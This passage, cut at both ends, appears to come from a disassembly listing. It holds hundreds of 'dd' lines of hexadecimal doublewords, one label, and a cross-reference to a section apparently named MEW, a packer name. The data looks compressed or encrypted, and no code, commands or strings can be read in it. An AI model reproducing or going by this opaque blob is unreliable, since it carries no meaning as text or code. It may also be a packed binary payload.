0F60F1089h, 8D956679h, 28CDAC89h dd 1FB02F6Ch, 0C7EB8ADh, 99F564C3h, 1CB2AA57h, 4BCDABCAh dd 0BE8A751h, 0D9852370h, 277C1FBDh, 9BDF5B2Fh, 3675B8C0h dd 2771AF7Ah, 758854C0h, 57E97AA5h, 0FC6E0A9Fh, 76FE7635h dd 0D64F81A1h, 0B8080800h, 171FBA22h, 75EBF359h, 2EF64851h dd 8717E553h, 0EA6AB8FFh, 0D9484733h, 8DA9102Ch, 871DFB8Ch dd 95263F2Bh, 0E0666CC2h, 0CEEDF104h, 1E853E2Ah, 0D7EA0788h dd 655478ADh, 0DE948983h, 0D95DC0A3h, 7D299D83h, 0BDAACCB4h dd 10F8340Dh, 491D2D52h, 0A6466CCh, 66D0056Ch, 0C23DFBE7h dd 0EB931296h, 2C9278F9h, 0FDB04CB0h, 8F2DF3Fh, 2A6E61C8h dd 3E00FE6Bh, 0B793BBDBh, 0BC530931h, 3073187Ch, 3B1B5860h dd 7F671067h, 0F9F2D5A5h, 49E01549h, 0A0BD7FC9h, 0EA0000A1h dd 6A0E1E5Ah, 0D7B85F41h, 0F93F1C72h, 99DD1DD5h, 0DB4860D7h dd 5350B4E4h, 5972A382h, 0E55D664Bh, 0D508AB7Bh, 0A33DC149h dd 59F5CFF5h, 6314F10Ch, 443BA8E5h, 41F99EE9h, 95A7D334h dd 0BDCA45EDh, 98981BF9h, 36F6576Bh, 99A8EC94h, 0C91F33F3h dd 0FFF5CBA1h, 468ED611h, 3206F127h, 0A6D42E8Eh, 0F676A84Fh dd 0DFDF28D9h, 38065966h, 0AC15935Bh, 34D6323Bh, 1E83AA94h dd 91598B51h, 93EBBADBh, 0A75D3846h, 5FFC8CB7h, 0B9E11EA2h dd 23C11527h, 0B57D8B97h, 83E08D22h, 496F0844h, 3B001690h dd 0B21770BCh, 0D2B83518h, 76C8D965h, 8347D422h, 353E790Ah dd 4F7D568Bh, 872B27D3h, 45D2987Ch, 2152F2BEh, 4E56FD3Ch dd 5A64F4D9h, 0D1B57533h, 0FD623A75h, 452A36D8h, 42460965h dd 4E5CD3F0h, 0BB00D31Ch, 4149236Dh, 0EBCFA1BBh, 56404FF9h dd 45AA2AEAh, 1C45E33Ch, 0ACD211B8h, 7D8D59BEh, 0FF5F0EBBh dd 0DD82182Ch, 0F1E907A8h, 0C11C9FEBh, 1AD2FE3Ah, 0A93CA3AEh dd 9A8007A0h, 22AD7526h, 6D136241h, 17D186h, 4F797F4Eh dd 0AA9CD6B3h, 4AA2EC66h, 7CD6A5DCh, 0E94DBACCh, 84B37646h dd 0AA23D81Ch, 603421EEh, 0D1C37D64h, 0AED18E03h, 48E17DE9h dd 0A92E0E79h, 3EF4A2D3h, 20A9710Ah, 0B9D7DB62h, 0BBB27F78h dd 0A2D8D4BDh, 47D944Ah, 6AB724B7h, 4028F9A5h, 9D1F2774h dd 0C49E6211h, 2994FE2Eh, 0BB78097Fh, 332FBDC6h, 0B747974Dh dd 0DB24804h, 48177997h, 6756243h, 2635A026h, 0E7714B76h dd 95AA38AAh, 0F92F2DAh, 0BC921FBh, 0E91A58C5h, 43F587A9h dd 525D1368h, 54D128EBh, 6EC35C6Ch, 22B5870Bh, 3BEF65C6h dd 0FDB77B80h, 3F41E4D3h, 1B90AE6Fh, 0A00167D5h, 77DDB390h dd 21B62BBFh, 0D65ECA54h, 2D5E7AF3h, 0AFC1268Ch, 0DBD578E7h dd 1C3AECE7h, 2E85211Ah, 7BD99D6h, 0FEAD9688h, 473CAB34h dd 6F691C31h, 0D2D74CF8h, 9D6D425Ah, 0EF7BB422h, 5BC36755h dd 0E54F19B5h, 1A30EC92h, 1A4A86FBh, 5547A273h, 10B7B06Ch dd 261DF42Dh, 0F2C0EC5Ah, 8E33B05Ch, 4B988213h, 0C4118B61h dd 8EAF194Dh, 0C9BE0BCh, 301F9623h, 44F84B6Eh, 0D519C0D5h dd 0C2C898B9h, 0E5A80EA1h, 6C5FC8Ch, 596EC865h, 0B03E5389h dd 122CAF32h, 0DF6B1532h, 22AA3A6h, 745AA4F6h, 513C9405h dd 0F1405097h, 595AD699h, 6EB9AD2h, 0F1070E9Eh, 480D7847h dd 4F9D5BA4h, 0EB5DFF31h, 37EAA906h, 0B7E09BCAh, 84990D0h dd 340D4004h, 544305C8h, 0D055D0F2h, 0F1F5D07Ch, 0E2FEC54Eh dd 2A53ECE8h, 0AA7EFA33h, 8D1CAEF3h, 5A31011Ah, 9F2DBAA1h dd 7FBBEA10h, 932F0CAFh, 0F90EA614h, 13E89038h, 0EA353011h dd 714BC6C0h, 45B846F6h, 3E9B242Eh, 54152D21h, 5C94CDECh dd 0F174CC4Fh, 8B5FF150h, 0A8C8F29Dh, 0D9ED9568h, 0BB933603h dd 3FA6F761h, 554B7342h, 8F62030Bh, 0EB2F26Dh, 737EB05Ah dd 67A4988Dh, 0A6A27C63h, 268F4767h, 8E6FD7A0h, 0FAEC01FEh dd 2E9F0A18h, 8FCB793h, 0C9B783EAh, 0CBCC0E05h, 4DD7267Eh dd 4B4A309Ch, 0C88ED966h, 3F21C586h, 761ECB4Bh, 0A2EB1935h dd 66D9E422h, 0E4D9CCC7h, 1E5DA0E8h, 0E3DDCCCBh, 748F75Ch dd 41EE7273h, 0EE0A952h, 759EBD4Ah, 0A2287693h, 0EA5A7BE2h dd 0DDAC4E2Ah, 0EF7F2198h, 8F8F3B09h, 2F5E538Fh, 700B27CCh dd 46397D01h, 946BCB6Dh, 0C3346178h, 0BDCF188Ah, 4708AE3Bh dd 8F4EBFBAh, 67152C95h, 0FBBDCB1Ah, 0B6316770h, 93099CC3h dd 3F22698Ch, 0EEC5F340h, 807CB370h, 0FA5E0490h, 237D84D2h dd 0CCC4CD19h, 8F995214h, 1AE57999h, 0E60151D5h, 0E376C8F9h dd 3455E3h, 840C8E23h, 68BFBF2Fh, 147A2190h, 0A8B1062Dh dd 2BC5FAADh, 0D6DCE360h, 0A5772148h, 983EBD6Bh, 0E1C7DEF3h dd 0A2096D5Bh, 0E5857EFFh, 0A0CF80DDh, 74F5C0Bh, 0A6B53384h dd 99A26C71h, 0D8976A4Eh, 1A10750h, 0DFF9E671h, 4CB9FC2Ch dd 60952536h, 8E7F710Eh, 2F1B5D88h, 76B32815h, 3BC4B922h dd 1B7497DCh, 0F995053Dh, 9098AA58h, 302C2A30h, 4D0FF8EDh dd 84A02595h, 0B4D982E5h, 45EAB2A3h, 2125920Dh, 89153669h dd 0B7E07438h, 49BFD572h, 4DBA36B2h, 0B67556FAh, 0DDB68788h dd 93C97C41h, 0F09A7397h, 5606635h, 727C9310h, 8CCC0B16h dd 86368026h, 3674FFD1h, 0EEB0266Ah, 17D7C312h, 59E6DCC7h dd 0E05977C2h, 0A5B34765h, 0B7CB3058h, 984D42FDh, 7F3C6E34h dd 0AE56557Ah, 0E73AB50Fh, 0FF705901h, 0BD64BEB6h, 5174111Ah dd 0E92B666Ch, 0E93ABBADh, 257F23EAh, 7DC31DD5h, 0B3331E62h dd 0A0F25E01h, 0F43F71BBh, 590ED913h, 70BB1797h, 0C35BEE35h dd 778CEADBh, 4A79975Ch dd 650AAF9Bh, 288DEE4Fh, 4D2D1C69h, 0D58EF2A6h, 0B1DA8AA2h dd 0FC72D76Bh, 19E519AAh, 788C3D7Ah, 0C434BD71h, 20B6545Bh dd 1CF4C43Bh, 88F8CA0Ch, 0A7315F1Ch, 1C4847E0h, 0EF8D70D0h dd 0DD49C41Fh, 0FF6E4DB3h, 58FB71C6h, 0B11DA587h, 40B2D2EFh dd 37D4CDBBh, 0CED82A9Ah, 120EB3CEh, 42BC444Eh, 6FA83914h dd 1A1C1A11h, 18C21B11h, 1448468Fh, 3D2231F0h, 1973A784h dd 0F889BA38h, 92AFBA59h, 0D3824871h, 143453FFh, 0C57DBAD2h dd 6F03D20Ah, 74BFD1Ah, 0F9AB70E7h, 6E2E757Ch, 8AF2BCCh dd 20C2C695h, 1B064A80h, 0DDE74C19h, 6D76787Ch, 93FD565Fh dd 3D3A71DDh, 0EEBCA5C6h, 4E577EA5h, 912AD3Bh, 49585EECh dd 312452BDh, 7A240B8Ah, 9A9DEED5h, 0EE03E7A7h, 14068D88h dd 0D322E6FDh, 60CF61DAh, 0E4795ACCh, 8046E8E6h, 75391883h dd 3BA94936h, 0C7CA10B1h, 3FFF4C88h, 0C9035E0Dh, 0C17FB66Dh dd 0E4AF40AFh, 5B966D3Dh, 9CD8392Ah, 9CE996C6h, 0B81DAC6Ch dd 295C4ECDh, 0A5CEC624h, 0BF5013C5h, 341CD6DAh, 0F6FE7AD7h dd 67B69E66h, 408DCC2Ah, 3A047BD4h, 98E65C4Eh, 0C8B4ABA2h dd 0CF539386h, 0F08A6EDDh, 99984A4Ah, 67FE271Fh, 51FA269Fh dd 0A426763Dh, 28C1DA91h, 58786829h, 920F789Dh, 0D59A0BFEh dd 77003B48h, 311CFF69h, 0C61AC082h, 8177A8ACh, 0C5B8452Fh dd 10112185h, 0B4E4AE04h, 0BAD5B5CAh, 0B4BBBABFh, 0D82AF6C3h dd 55200375h, 8E455BC4h, 934A1C4Fh, 0E0E29F87h, 0CCD2F743h dd 25D9CAF0h, 2F83B41Ah, 8531DD19h, 0F346811Eh, 0D3C9533h dd 2E28BEECh, 0C7A87802h, 0E9E4E901h, 3F014AACh, 0D39F5F25h dd 439518A5h, 4BE62C1Dh, 7E589E7Fh, 70AF8428h, 0BCC2292Bh dd 402B62C9h, 9F052992h, 8EAD0158h, 216040AAh, 6F37EA70h dd 2BF7AEDh, 4A4845D8h, 61C54336h, 8E7226CCh, 8F3D5962h dd 0AA3CFFDEh, 3B265054h, 0E16402AFh, 55DF4E74h, 9C004546h dd 43894813h, 5C0E874Dh, 0DC4BC76Dh, 720D1900h, 3E90936Ah dd 0CF6DE7FBh, 231D4EF8h, 1310953Ch, 97ECA194h, 54FF3D33h dd 0C87C5C86h, 0D1CA1865h, 61A4149Ch, 3782390Ah, 27C9041h dd 991805C5h, 0A6F9BCCEh, 0D128D07Bh, 0AF04EA1Eh, 0D23AF929h dd 0B2309C6Ch, 33A64E99h, 0A58122F1h, 1897CFFAh, 6CBEF821h dd 59EF8752h, 0D2FF5B96h, 11939070h, 6DAE4FCh, 24E6A4F5h dd 71CF5A10h, 735B91C4h, 28102CEAh, 4E5ECF3Ch, 0FCD6ADE5h dd 4D5D8233h, 0B7FE17CEh, 44DE1F4Ah, 41B44B9Ch, 0BFA6B64Dh dd 0EA081E80h, 0DE205B2h, 45F0F5C5h, 0CC646EFDh, 7950387Ah dd 36EE6623h dword_43005C dd 6D4EBDB6h, 0C5284CDBh, 0A49BE776h, 0C7359538h, 0B2BB616h ; DATA XREF: MEW:0041A720o dd 13AAEF13h, 65C5620Ah, 47BFBC6Fh, 0B91ABEE7h, 343EB163h dd 0B5CC4D93h, 278A9F13h, 0ECB22F94h, 0EEE2FE01h, 818665B8h dd 268255CDh, 52D2E362h, 0C7EE0866h, 4FD1DC72h, 2BC2ACCCh dd 3133E753h, 0BE4C63ABh, 50FC0092h, 0D6696E77h, 10A96E90h dd 0F234F26Fh, 8C8BEBD9h, 0B53BF6F6h, 0BA0BE88Ch, 83E408C6h dd 0C045D60Bh, 0A682C09Eh, 6FBC1708h, 0F1404491h, 0AC87FBECh dd 0F589281Ch, 0AF29AE29h, 4101CB4h, 0D61AC5A7h, 0AAB6BBD3h dd 0ADEFDF8Ah, 8A4673CDh, 1FCC52DEh, 0B57EA9CBh, 7A729A61h dd 0F773059Ah, 0C61C1C83h, 0CD0D23B3h, 58169B81h, 0F6C6CA41h dd 89230B69h, 3E8B83ACh, 0F0828985h, 5696CE46h, 0F56FD0EBh dd 0BFB1D125h, 46DF8E07h, 0D6A63B75h, 0BE7DB4B0h, 700EEF71h dd 0EC024DE0h, 61DF8602h, 1B3ED2D2h, 4FE296C3h, 52ED8D7Ah dd 0C6EF6ACCh, 4F6F0602h, 0A9C8E31Dh, 0BB28C059h, 0C942ACB0h dd 2E2FEFC5h, 0A64A36B4h, 6187D566h, 0CBEDF58Fh, 2746F368h dd 0E53F6828h, 9450702Dh, 7FD79CCDh, 4816A0DCh, 4D9A1ED1h dd 0A88BD2E2h, 1237C969h, 0E721FF91h, 1B1DF7EAh, 8CA814FEh dd 36AD8B7h, 3B796490h, 0D193764h, 924F2EA0h, 1B5C9BEDh dd 0AC913AFBh, 53CD5E38h, 96EC8200h, 37EDC32Eh, 5D4F64BAh dd 8CE173AFh, 91046ECBh, 0BDE039F1h, 0DFBD8D7Fh, 0F70C93D7h dd 1127C984h, 8B35BA31h, 53DC6745h, 0A6957D1Ch, 0FC8F7FC7h dd 31E21102h, 0EE8E3C8Dh, 146F79B8h, 41F47153h, 6A59E18Dh dd 0AB1B5DB7h, 2D40550Eh, 1A1C3467h, 0A79F9BF1h, 3739F2ACh dd 78247978h, 56B81A04h, 39005B74h, 5F995426h, 0EC470636h dd 0C0B5668Fh, 83EAC463h, 0B11E6B73h, 391FD714h, 8A5C23C0h dd 95F60FE9h, 6EE0C87Dh, 7F532F90h, 37BA77FFh, 82F535D0h dd 8B670C8Eh, 6195D1E4h, 0C1C3D094h, 0E1675269h, 640D8BAh dd 0E7B1CA85h, 7DE0EF57h, 0A453B181h, 0EEB74E5Ah, 0CA3C0CC4h dd 71F635D7h, 0E071932Bh, 0C52FC219h, 61E00A3h, 0C1962D38h dd 0C407035Fh, 0B607F7BAh, 6CE0EBC8h, 98ADB655h, 0D8BC6AE6h dd 2EAC7A34h, 0D7E0551Bh, 0D8D42CB8h, 61BD2C91h, 0C71908C5h dd 0B19C67D5h, 0A2A260F7h, 0B6820F4Fh, 82DF9204h, 0E9A4E036h dd 5F4E6974h, 0AA1FBD30h, 85A9F528h, 0D0B69882h, 0E3525712h dd 0D204C7E6h, 4976766h, 7CED7415h, 0D144A57Eh, 0C2CD7897h dd 904589EEh, 0C9257EAEh, 252B5420h, 0D01840B5h, 9876FE36h dd 4B0D81C7h, 8F126956h, 73C9553Eh, 785CBA37h, 6DC90946h dd 1B5F42B1h, 26779A1h, 8A4851E3h, 0C8350852h, 0F20F3AB6h dd 0FFC42CCDh, 6625317Eh, 9494B730h, 95C60BCAh, 759E7F5Eh dd 6EAB19B2h, 0EA43D2D9h, 0D05E01F1h, 66C969A8h, 904C2077h dd 0C5A88420h, 0BD001261h, 5B85AE7Eh, 5FE014EBh, 0E2D48512h dd 4604EE5Fh, 0A9855116h, 80983604h, 984C5077h, 7DB0F474h dd 885BF11Ch, 7843DE23h, 7D84CDC6h, 7E451EC2h, 0DEFDBE4Eh dd 3FBCEC0Ah, 6E80AA6Bh, 5F613051h, 0A31DD003h, 0D788A9E7h dd 0E5169B1Eh, 738B39E3h, 1BDA323Dh, 1488AF09h, 6289DADFh dd 5EA05B75h, 32DA1BEBh, 0EC49352h, 0E4B607D5h, 0EEBCD1B9h dd 87EB6575h, 35EDE555h, 0B94471D1h, 0BF206DE1h, 12147AFCh dd 5643F6AFh, 1C627688h, 0CC4F10C3h, 0AEF57A63h, 0CE83DF5Ch dd 0E42BEECFh, 82C89CA5h, 319C70CBh, 0B7D40301h, 5869DC90h dd 0D3F1A014h, 271EA53Ah, 0C858C464h, 19A0D2BBh, 1F7AA255h dd 0C9260C75h, 42015399h, 17D91316h, 0FA77FA70h, 0B3E07F11h dd 165F65D4h, 5B4916DBh, 3F928514h, 0A18B8AE5h, 8D046AFh dd 0C1E88DC9h, 13EBBD5Bh, 0AF82C4F1h, 0D4113CADh, 77E15D42h dd 281BA134h, 62FF9CD3h, 0BC35586Ah, 314A674Ch, 5E0F4302h dd 0DAE7B384h, 3D6B5EA0h, 2254D922h, 0B9C1C573h, 0D2E72DA8h dd 223DEEDBh, 307A3BEh, 79935C5Ch, 9C55CADFh, 0C3008D2Ch dd 0A29C6BA8h, 0EDA8EF3Ch, 0B87A2F4Eh, 80B7EC9Bh, 0EB2E6CC2h dd 24D0DB0Ah, 0A035FDC0h, 0E5AB8313h, 7C32AE7h, 0EB5CC284h dd 545EEDABh, 7216A6B9h, 6028347Ch, 0F6CBEED4h, 4D834E61h dd 0E3B8EE79h, 230AF452h, 0BCD565E9h, 90D352C9h, 5F389B12h dd 0CA3117h, 0A9581461h, 60C2CF39h, 7FB50347h, 0CA59BB7Ah dd 0BA529F83h, 51666DB2h, 402C266Ah, 691F82FDh, 0CD9BD257h dd 47C6E351h, 604AF035h, 0EEF4C8C6h, 0D0689AEFh, 632A55DEh dd 56B9F1F0h, 5FD9A082h, 8EA00516h, 0BEE16BF6h, 2B9F36AFh dd 6D077D4Dh, 0E312838Eh, 0D5BF6318h, 0CC39EF82h, 0F66EB94Fh dd 0AE57B48h, 2A72962h, 24103715h, 0F502F287h, 0FBBD61FCh dd 0FA9FB8B0h, 0BDC6E84Fh, 0BE0EA8F9h, 5F280AAh, 0A5259CA1h dd 6BCFA7Fh, 0FA7BDB7Ah, 0EAD0B6DEh, 5894B73Eh, 4A20E32Ah dd 2721F4BFh, 69D431C4h, 0BA6BE66Ah, 0C57F0C5Bh, 0DF149A8Fh dd 516144EBh, 36FBCF52h, 149F9337h, 22FD6139h, 7C633A94h dd 7A6BB031h, 3DDD6831h, 49AF0F9Fh, 0D742AB5Ch, 0E9899453h dd 6157B7FFh, 8801449Fh, 0AB0CF45Eh, 0D10DB9A4h, 9D155746h dd 0D1A0131Bh, 6D00CE5Ch, 0B9BE410h, 6E0B613Ch, 2018EE9Eh dd 0B8931BF7h, 35994F09h, 81DAE7B7h, 423FBE1Ch, 0EA306527h dd 5778BC18h, 0BD0AAB7Bh, 57062F3Eh, 29F08796h, 0D051A800h dd 0EC8D46D8h, 0D67EE5F9h, 0D6979FCCh, 49AF8B8Dh, 94B9A417h dd 82F84BEEh, 0FBBD6E0Ah, 16451DD8h, 63C68609h, 0A66E2C4Fh dd 66F4C25Eh, 7D32AA7Bh, 0FAE3DBB6h, 2C288789h, 1FF41A7h dd 642E9B05h, 0EB96B719h, 9AA310EDh, 0D7F12345h, 0FDFD1A5Bh dd 0BBB3C1E4h, 37836CC3h, 8C80D509h, 0B23ADA4h, 7418452Bh dd 0F954E8F8h, 18CC754Fh, 99D30752h, 0F0AA457Eh, 8C742FA1h dd 2CC0A56Ch, 1C38CB44h, 284646A2h, 1BDAEC0h, 8EAC4B90h dd 2B72AA89h, 2807CDEBh, 0D8912009h, 0A967B6AEh, 978A486Ch dd 0CA7DB4D2h, 0BD91AE2Ah, 0FC8398FAh, 0E32A946Ch, 62561C44h dd 0E4C2B0E0h, 85D655C3h, 3A63FCFCh, 74151F74h, 7D1F513Dh dd 0BABBCBA5h, 89660F70h, 0A5A0F6F3h, 76C81090h, 0D92BEBA8h dd 0DE8E22C9h, 734B48B7h, 4B08646h, 3583AB40h, 0A5F5F729h dd 20EEECA4h, 0C0905AB8h, 1836FA95h, 0BE9C7CC7h, 67BBAD7Bh dd 0C9470A1Ch, 0F6B0585Dh, 0FB4E0F5Eh, 0C97CBF9Ch, 9789DA0Ah dd 0A92A392Dh, 0BFA52FBDh, 0A97C17Ah, 0E173C575h, 0E9ADD6BDh dd 116547CFh, 5F4AF9CCh, 31E8C3Dh, 0BCEBCC0Eh, 92932442h dd 0BC8CB766h, 0DF72E379h, 1813BA16h, 4B291ED3h, 6C3568B3h dd 0E5D643B1h, 0C7F334DFh, 583DF24h, 77EF2A3Bh, 364B4CC7h dd 0AE9E877Bh, 0B7C90826h, 1CE76299h, 0E173292Bh, 582AE493h dd 371EAFCBh, 1F69F505h, 0DDC07F92h, 6A1496E5h, 0FFBDAE08h dd 0D6915007h, 0A3D40D03h, 87FB43D8h, 0F811A0B3h, 0FF8A53C0h dd 0EB9D4D8Ch, 61D5C142h, 0BF6EEF03h, 0FCF50E70h, 0EA255AE8h dd 0D82FEE87h, 0ED78F1A3h, 0C641E1D7h, 0B7B2D86Ch, 0DC15419Bh dd 0E097C586h, 6BC8B93h, 898ABEADh, 9A0C65ACh, 13396FC8h dd 0A259DF3Dh, 1243736Eh, 68D9C709h, 2AB988E9h, 6A79975Ah dd 2D2744FBh, 4C3B160Ch, 0A138F324h, 8A0877BCh, 8F8D270Fh dd 95D0FE9Ah, 0F2940E7Bh, 7E35FD90h, 9CDF4E90h, 58530CEEh dd 989E4D81h, 0C95DD71Fh, 5261CAB0h, 7BF6D26Bh, 6FB133E1h dd 370DA21Dh, 0AA229C6Eh dd 1F293973h, 0F1CA6103h, 2789E5AAh, 953D277Fh, 9BDA3948h dd 0AED6389Bh, 0F5FB8106h, 0CF748F4Dh, 55BD4D2Fh, 7EE04AECh dd 0F7E5355Eh, 9069A60Fh, 43BA087Ch, 1365A6Fh, 0F42B5884h dd 883EEED0h, 0A507CDB7h, 52FF3826h, 7AE7B8ACh, 0F530E3BDh dd 0CD0F93EAh, 0F0B084E0h, 792CA8A9h, 95457E87h, 0BA82DA8Ah dd 1D6295CCh, 2B369ED4h, 30A4F7B1h, 0E351C64Ah, 9E257600h dd 0C7C7D568h, 23FCD12h, 292D0CFh, 5A281D25h, 0E0401D53h dd 2B0E0ACDh, 0D90AB339h, 21DF336Ch, 566D9E0Fh, 21F1491Dh dd 19666E6Eh, 4D5CC35h, 0C61327E2h, 4AC8E933h, 0EB39AB6Ch dd 0E671A955h, 0AC14BEE9h, 0AAE26D34h, 842D3462h, 0C208707h dd 8BAB3C1Fh, 7A923C36h, 97E4FAE5h, 292F4382h, 1D3469C8h dd 8DC5F955h, 4D26D573h, 88FAC8DBh, 0BA0510DCh, 0E04D41B9h dd 231350B5h, 0F1DC22C9h, 55478A4Fh, 0A86FD52Bh, 0CA8C84BEh dd 633896B5h, 317CD52Ah, 43866BE4h, 0BF43BBB7h, 3664F5F1h dd 0F4CB0AFFh, 0EA852120h, 0EA45A6ACh, 110BFC0Bh, 86302B11h dd 0C3E96619h, 0C41463C4h, 0EE3041D8h, 20E0F5CFh, 2AC39991h dd 0C1F08485h, 54D086C3h, 0F6FDF810h, 0C21B0D0Eh, 70324495h dd 0D5A0A10Dh, 305FCC74h, 8D5EA0D2h, 527C3BBEh, 900DEE52h dd 0FAB7AE30h, 0F7D4CF65h, 11AD8D83h, 0F7037A8Dh, 94AA580Ah dd 1A34B2A6h, 0A51B165Bh, 6A841370h, 4B1340FBh, 0FB9E248Fh dd 0C0E31693h, 66ADC690h, 0ABBD93B6h, 6E8B442Dh, 0DA98D95Ah dd 0E4E36727h, 2C45D412h, 0E3783Dh, 0CBC29188h, 2A86531Ah dd 0B7A949E7h, 17B46BCDh, 0E651C370h, 295029DFh, 0C3F5B6A7h dd 6090CEAFh, 0ADE871E3h, 4020BAF0h, 0D6DD3F27h, 138D432Dh dd 7E1D0152h, 0D945B6A3h, 97DA6E9Ah, 0B7534A54h, 0A22CF5BDh dd 996F8EE3h, 0F799EF1Fh, 87C1891Ah, 0C55FC742h, 0C501F850h dd 0C5A648ECh, 0A0F43680h, 0FF946FBEh, 0AA3D190Ah, 17DA266Ah dd 363A7417h, 0A897336Fh, 7BE08FABh, 0BA72ED6Bh, 9905F661h dd 0C8CFFDF6h, 89C50260h, 0B6B71B67h, 4CE0AB3Fh, 0CBF5C378h dd 97056466h, 0B1981601h, 0A08BE1Dh, 0A2806580h, 0CC06D631h dd 0C335D5Dh, 1939F02Bh, 0E44EA172h, 0EB50982h, 36FBB79h dd 0E6942270h, 80AC2F9h, 0CBA7022Dh, 0C1D3E639h, 3ED8662h dd 0F8019B69h, 0FFD0D728h, 3F97A5DBh, 0CF2A5519h, 0FF05037Bh dd 8473C962h, 17B2A4Bh, 6A3932Fh, 60E0355Ah, 0FF2126Ch dd 0E9999FDDh, 96B76310h, 286ABBD0h, 0EB073B33h, 1124B6BDh dd 7CDD79A8h, 0C1699F93h, 0E809B870h, 0DEFF7B36h, 3FB14FD0h dd 0A7B1A95Fh, 98A965CBh, 5F50C47Fh, 29577941h, 5A2A62Dh dd 9C10E13Ch, 0B8F6EB51h, 0FAFD2F96h, 0C4C3C81Eh, 0A8093CD5h dd 0C64885EEh, 6F588E34h, 3B1ED829h, 6E6C6235h, 0E95EF329h dd 9EB6E341h, 0DF09693Ah, 35D5F8C2h, 0DFDF5DE8h, 0DA3DC23Dh dd 0C3A84A03h, 0A5265184h, 0CADD6B17h, 0BF2BF75Dh, 0AE6C1DFCh dd 28875733h, 0EA66CD2h, 0CB44C753h, 0AB265D4Ch, 0A5A670FDh dd 9BC96BB2h, 545F152Dh, 0C07841D3h, 0ED5056A8h, 0C25A057Ch dd 0D110EC99h, 6AB6280h, 0FB69F9AEh, 2FE67470h, 327E75B7h dd 0D1734714h, 1333BE72h, 369300B7h, 0AC0D1B22h, 53805600h dd 0C19FAEABh, 41E80F79h, 0DF957A98h, 1B3A8A1Eh, 0CAAA58DEh dd 2CF76C3Bh, 0F5821924h, 0A62B0293h, 32616C6Ch, 0AAA0D478h dd 0E10A2CC2h, 0AA84C384h, 0D2E8A2CBh, 0D7F88DC8h, 0C56D2DFEh dd 0A506759Fh, 0C6ABCC3Ah, 0CFEBFF70h, 774ED3BBh, 1B4FE1E6h dd 2528D936h, 0A5A3DBB9h, 3C8D156Dh, 960A31Fh, 0A50EA842h dd 0A10779E7h, 0B335F36Bh, 6FB354D4h, 71D90C91h, 0C430FB39h dd 0D2B64FB0h, 0B8BDBDA1h, 18F79FAFh, 400B0A27h, 190E32D7h dd 568E961h, 8987ECB8h, 0D5A6BE5Eh, 65161F10h, 0D0E573F6h dd 40546EECh, 261BD191h, 0BC8A4C1Bh, 0F751972Dh, 0A2E79BDCh dd 0BD5C6AD7h, 8F68ABE1h, 888AA026h, 42A6F3E1h, 6ACFA633h dd 6BDB0B19h, 0B7EE28DCh, 457DDADCh, 5AB20FC7h, 2F5B84EFh dd 4742DE4Bh, 845CBCDFh, 0BB3C764h, 0A7D863D2h, 9E247CE7h dd 13DF081Ah, 0D54071EAh, 0A9814E93h, 0C7AD43AEh, 18A62B57h dd 0D5BBABCCh, 74FCA0D6h, 0A65A063Bh, 0DDB0D71Dh, 9AFCCAEAh dd 2D8CD50Dh, 67BFF7DFh, 0FEE5FCA5h, 50F6DB95h, 6FDC4ADBh dd 571CE2ABh, 62E35020h, 0F91BAFD7h, 973F11Eh, 0B47CBFB7h dd 0C59863F7h, 0E5CAB9CDh, 0F8E23BA4h, 0F4B46F1Ch, 88459460h dd 0E450604Fh, 8C5FC332h, 482F885Eh, 39806127h, 99B1F244h dd 5FB57DF2h, 0BB300A2Ah, 0A30E36F8h, 68415865h, 0F8C9168h dd 7844F03Fh, 63FB448Ch, 47EEAE1Dh, 1F21CFDBh, 8F3D1532h dd 0B920C463h, 7ED16250h, 4323290Ah, 0B42710C9h, 35EA6314h dd 515E8F96h, 7AF094C5h, 0C91191C4h, 0F851C0D6h, 0F917133Eh dd 5F0D369Ch, 8972323Fh, 3B3B7018h, 0F2536286h, 5BB948D5h dd 0B32FD0CDh, 276228B5h, 0EDCB1D69h, 88EF9650h, 0F6EC476Ch dd 4D58F075h, 8183084Bh, 3F36F7DBh, 5218C400h, 9104939Dh dd 8AE609B0h, 90CAE2C6h, 0A2EFD82h, 6654C190h, 43B623AAh dd 0E3BDD4E7h, 2DD2D231h, 1EF7147Fh, 2AC9CDDh, 790DDF26h dd 8AD70671h, 65A69F20h, 10B0BC7Dh, 1A60FA23h, 98DDC330h dd 19E53E30h, 0D22E9137h, 9C9C9809h, 5EBE59A8h, 9C949C96h dd 91644878h, 8F080B45h, 0C225759h, 0CACF2F16h, 0BBE3BE0Dh dd 7A57E1A8h, 5E6D25EEh, 8D49CABAh, 0E775BE5Dh, 134531BCh dd 6EFB06CBh, 1A787DFAh, 389542E7h, 0CFC628F1h, 0A3404E68h dd 0B6D66B9Ah, 1AF74DDDh, 0E8F0206Ah, 6B2FDBBCh, 0BEB35537h dd 1F26E5BCh, 0B5A277Bh, 0CDBA866Bh, 1EE8C852h, 62192FF4h dd 0A20C32DBh, 5A2D48E5h, 0A05A1DC9h, 33F6A165h, 2DA89445h dd 9BA798F7h, 40E6698Bh, 4789E1A7h, 92CA7B85h, 37DF8B4Eh dd 4101CA83h, 4C2212BEh, 41C04C5Fh, 653D43AEh, 2A2C65D8h dd 65B3981Fh, 5DE5C857h, 387AFB94h, 23BA466Dh, 0D0ABC4ADh dd 0D00B13A4h, 0C0B1000Eh, 6F5FDF06h, 12CFA927h, 0E0505268h dd 57E81851h, 0D8D67548h, 0F72EFE67h, 6D98D015h, 72699188h dd 292C432Ah, 7061FD6Bh, 400E4D23h, 574D99D8h, 0FEAB90E4h dd 2865630Eh, 161BE1BAh, 0F56D544h, 365261C3h, 0C2944741h dd 3F74C11Dh, 0C51E87FDh, 431698FBh, 0A8962EF5h, 0DD13506Ah dd 28F89DC8h, 0CB9F3DA7h, 72F46891h, 4385DE94h, 8963E7A3h dd 0A62DA869h, 8F1904A7h, 0E19D70D2h, 453945F3h, 0DE2944DAh dd 1BE7C5D5h, 13DCC16h, 2F926438h, 0E17CC540h, 48D1DE3Bh dd 8804A714h, 91EE374Eh, 886F85EAh, 569017C0h, 0FBF24640h dd 18920A8Dh, 755A3FFh, 8D5EB238h, 0EC1093E0h, 0FF029D5Fh dd 0AA6DBF62h, 0D10A35B5h, 60A2BA8Fh, 771DB7D7h, 0D0BA0994h dd 8E37906Eh, 880F9A42h, 0F8DBFEF6h, 813FA913h, 9FDFF85Dh dd 2049B44Eh, 0A711B089h, 0F0F7C72Dh, 3FDAEBA0h, 50C9E92Bh dd 1BD15B25h, 0AC2D8196h, 1982382Dh, 0E7BF135Ah, 5DEF58BEh dd 0DFFF5E2Fh, 399E25D7h, 8D5212E4h, 0ABCD0EEh, 0DD579584h dd 40A14F7Fh, 979C05B3h, 0FFF9881Fh, 